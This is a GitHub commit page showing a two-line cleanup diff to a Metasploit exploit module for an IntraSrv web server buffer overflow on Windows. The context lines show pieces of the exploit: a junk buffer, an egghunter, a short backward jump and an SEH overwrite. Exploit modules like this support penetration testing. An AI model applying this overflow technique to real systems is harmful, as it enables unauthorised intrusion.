Skip to content

Commit 49bcec5

Browse files
committed
Additional cleanup
1 parent 7014322 commit 49bcec5

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/http/intrasrv_bof.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def initialize(info={})
3737
],
3838
'Payload' =>
3939
{
40-
'Space' => '4660',
40+
'Space' => 4660,
4141
'StackAdjustment' => -3500,
4242
'BadChars' => "\x00"
4343
},
@@ -92,7 +92,7 @@ def exploit
9292
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
9393
buf << hunter # egghunter
9494
buf << rand_text(target['Offset']-buf.length) # more junk to offset
95-
buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
95+
buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
9696
buf << [target.ret].pack("V*") # seh
9797

9898
# second last byte of payload/egg gets corrupted - pad 2 bytes

0 commit comments

Comments
 (0)